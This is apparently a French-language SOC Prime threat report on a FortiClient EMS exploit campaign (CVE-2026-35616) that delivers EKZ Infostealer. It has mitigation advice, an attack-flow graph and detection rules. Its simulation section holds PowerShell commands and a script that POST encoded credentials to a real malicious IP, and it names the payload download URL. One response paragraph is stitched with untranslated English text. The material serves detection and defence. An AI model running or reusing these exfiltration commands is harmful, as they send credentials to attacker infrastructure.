SOC Prime Bias: Critique

29 May 2026 07:30 UTC

FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet

Author Photo
SOC Prime Team linkedin icon Suivre
FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Arctic Wolf a identifié une campagne exploitant CVE-2026-35616 dans FortiClient EMS pour distribuer un script malveillant PowerShell aux points finaux gérés. Ce script récupérait et lançait une charge utile de vol de données d’identification connue sous le nom de EKZ Infostealer tout en se faisant passer pour un correctif légitime de Fortinet. Le malware collectait les mots de passe du navigateur, les cookies, et les informations de saisie automatique, puis exfiltrait les données volées via HTTP. En abusant des canaux de configuration EMS de confiance, les attaquants ont pu exécuter rapidement la charge utile sur plusieurs appareils gérés.

Enquête

Les chercheurs ont recréé l’exploitation en envoyant des requêtes HTTP spécialement forgées aux API de FortiClient EMS, entraînant des changements de configuration qui inséraient des scripts malveillants. Les traces d’exécution montraient fortitray.exe or ipsec.exe générant cmd.exe, qui à son tour lançait une commande PowerShell encodée en Base64 qui téléchargeait p.exe à partir d’une adresse IP malveillante. La charge utile a écrit un fichier log.txt dans ProgramData, a envoyé les données capturées au même serveur, puis s’est supprimée.

Atténuation

Les organisations devraient mettre à jour FortiClient EMS vers une version qui corrige CVE-2026-35616 et restreindre l’accès à l’API aux adresses IP sources approuvées. Les défenseurs doivent également examiner les journaux EMS pour détecter les erreurs liées aux certificats et les changements inattendus des profils d’accès à distance. Le trafic HTTP sortant des points finaux vers des adresses IP inconnues doit être bloqué, et l’exécution de scripts dans les flux de travail des profils VPN doit être limitée par des contrôles de privilèges minimaux.

Réponse

Si cette activité est détectée, isolez immédiatement les hôtes affectés, révoquez tous les comptes EMS non autorisés qui ont pu être créés, et retirez les fichiers de scripts malveillants du répertoire des journaux de FortiClient. Les enquêteurs doivent préserver l’artéfact, calculer les hachages pour les binaires malveillants, et rechercher des indicateurs correspondants dans l’environnement. Les données d’identification exposées sur le navigateur doivent être réinitialisées, et les équipes devraient surveiller toute activité d’authentification suspecte pouvant suivre le vol. log.txt artifact, calculate hashes for the malicious binaries, and hunt for matching indicators across the environment. Exposed browser credentials should be reset, and teams should monitor for suspicious authentication activity that may follow the theft.

"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Process</b> – Unauthenticated API requests processed as privileged admin actions"] class process_api_requests process action_cmd_launch["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe launch cmd.exe"] class action_cmd_launch action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell script execution"] class action_powershell action technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload delivered as base64"] class technique_obfuscation technique technique_decode["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime base64 decoding"] class technique_decode technique action_download["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>File</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hosted at http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Silent execution of downloaded binary"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Collects credentials, cookies, autofill data"] class malware_infostealer malware technique_cred_access["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>"] class technique_cred_access technique file_log["<b>File</b> – C:ProgramDatalog.txt<br/>Collected data storage"] class file_log file action_exfil["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>HTTP POST to attacker server"] class action_exfil action action_cleanup["<b>Action</b> – <b>T1564 Hide Artifacts</b><br/>Delete malicious files and log"] class action_cleanup action %% Connections action_initial_access –>|leads_to| process_api_requests process_api_requests –>|triggers| action_cmd_launch action_cmd_launch –>|executes| action_powershell action_powershell –>|uses| technique_obfuscation technique_obfuscation –>|requires| technique_decode action_powershell –>|downloads| action_download action_download –>|retrieves| file_payload file_payload –>|executed_by| action_execute action_execute –>|runs| malware_infostealer malware_infostealer –>|performs| technique_cred_access malware_infostealer –>|writes| file_log file_log –>|sent_by| action_exfil action_exfil –>|followed_by| action_cleanup action_cleanup –>|deletes| file_payload action_cleanup –>|deletes| file_log "

Flux d’Attaque

Détections

Nom de Fichier Court (via cmdline)

Équipe SOC Prime
28 mai 2026

Utilisation Suspecte de CURL (via cmdline)

Équipe SOC Prime
28 mai 2026

Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)

Équipe SOC Prime
28 mai 2026

Activité Possible de Transfert par Bits (via powershell)

Équipe SOC Prime
28 mai 2026

IOCs (HashSha256) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (HashSha1) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (HashMd5) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (SourceIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (DestinationIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

Exfiltration de Données d’Identifications par EKZ Infostealer via HTTP POST [Connexion Réseau Windows]

Règles SOC Prime AI
28 mai 2026

FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer [Création de Processus Windows]

Règles SOC Prime AI
28 mai 2026

Exécution de PowerShell via FortiClient pour Livrer EKZ Infostealer [Windows Powershell]

Règles SOC Prime AI
28 mai 2026

Exécution de Simulation

Prérequis : Le Test Préliminaire de Télémétrie & Baseline doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narratif de l’Attaque & Commandes :
    L’attaquant a précédemment recueilli des identifiants à partir du registre Windows (famille T1216) en utilisant EKZ Infostealer. Pour exfiltrer le blob collecté, le malware lance une commande PowerShell en une ligne qui envoie par POST les identifiants encodés en Base64 à son serveur de commande et de contrôle à 83.138.53.110. L’utilisation de PowerShell (Invoke-WebRequest) est une technique classique d’exploitation du système pour éviter les détections basées sur les binaires tout en produisant une télémétrie réseau observable par le pare-feu.

    powershell
    # Charge utile d'identifiants simulée (Base64 de "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Script de Test de Régression : Ce script PowerShell autonome reproduit l’étape d’exfiltration et peut être relancé pour de futures regressions.

    powershell
    <#
    .SYNOPSIS
        Simulation d'exfiltration d'identifiants par EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Génère un blob d'identifiants factice, le code, et l'envoie par POST à l'
        IP malveillante connue utilisée dans la règle de détection.
    
    .NOTES
        Nécessite que le HTTP sortant soit autorisé vers 83.138.53.110 sur le port 80.
    #>
    
    # ---- Préparation ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Exécution ----
    try {
        Write-Host "[*] Envoi du blob d'identifiants à $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] Statut HTTP:" $resp.StatusCode
    } catch {
        Write-Error "[-] Échec du POST : $_"
    }
    
    # ---- Fin du script ----
    
  • Commandes de Nettoyage : Aucun artéfact persistant n’est créé sur le disque, mais pour être minutieux, nous fermons toute session de requête web persistante et nettoyons la variable PowerShell.

    powershell
    # Nettoyer les variables et fermer toutes les sessions web ouvertes
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Nettoyage terminé."